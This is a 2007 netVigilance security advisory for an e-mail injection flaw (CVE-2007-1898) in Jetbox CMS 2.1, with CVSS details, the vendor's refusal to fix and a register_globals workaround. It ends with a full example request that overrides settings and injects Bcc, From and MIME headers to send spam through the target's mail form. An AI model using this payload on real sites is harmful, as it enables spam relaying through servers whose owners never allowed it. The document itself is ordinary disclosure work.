jetbox-inject.txt

` netVigilance Security Advisory #26  
  
Jetbox CMS version 2.1 E-Mail Injection Vulnerability  
Description:  
Jetbox content management system is seriously tested on usability & has a professional intuitive interface. The system is role based, with workflow and module orientated. All content is fully separated from layout. It uses php & mysql.  
  
Security problems in the product allow attackers to send any spam e-mails using mail form of target site.  
External References:   
Mitre CVE: CVE-2007-1898  
NVD NIST: CVE-2007-1898  
OSVDB: 34088  
  
Summary:   
Jetbox content management system has a professional intuitive interface.   
Successful exploitation requires PHP register_globals set to On on the server.  
Advisory URL:   
http://www.netvigilance.com/advisory0026  
  
Release Date:  
05/15/2007   
  
Severity:  
Risk: Medium  
  
CVSS Metrics  
Access Vector: Remote  
Access Complexity: High  
Authentication: Not-required  
Confidentiality Impact: None  
Integrity Impact: Partial  
Availability Impact: Partial  
Impact Bias: Normal  
CVSS Base Score: 3.7  
  
Target Distribution on Internet: Low  
  
Exploitability: Functional Exploit  
Remediation Level: Workaround  
Report Confidence: Uncorroborated  
  
Vulnerability Impact: Attack  
Host Impact: E-mail injection.  
  
SecureScout Testcase ID:  
  
  
Vulnerable Systems:  
Jetbox version 2.1  
  
Vulnerability Type:  
Email Injections using to send anonymous emails to other recipients.  
Vendor:  
Streamedge Consultancy & Development  
  
Vendor Status:   
Contact with the Vendor was established. The vendor refused to fix the issue and said that Jetbox is not maintained already. There is no official fix at the release of this Security Advisory  
Workaround:  
In the php.ini file set register_globals to Off.  
  
Example:   
REQUEST:  
http://[TARGET]/[JETBOX-DIRECTORY [email protected]&_SETTINGS[allowed_email_hosts][]=somedomain.com&subject=Some Spam Subject%0ABcc: [email protected], [email protected], [email protected], [email protected]%0AFrom: [email protected]%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A-- Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition: attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide  
REPLY:  
Spam will be sent from the target site  
Credits:   
Jesper Jurcenoks  
Co-founder netVigilance, Inc  
www.netvigilance.com  
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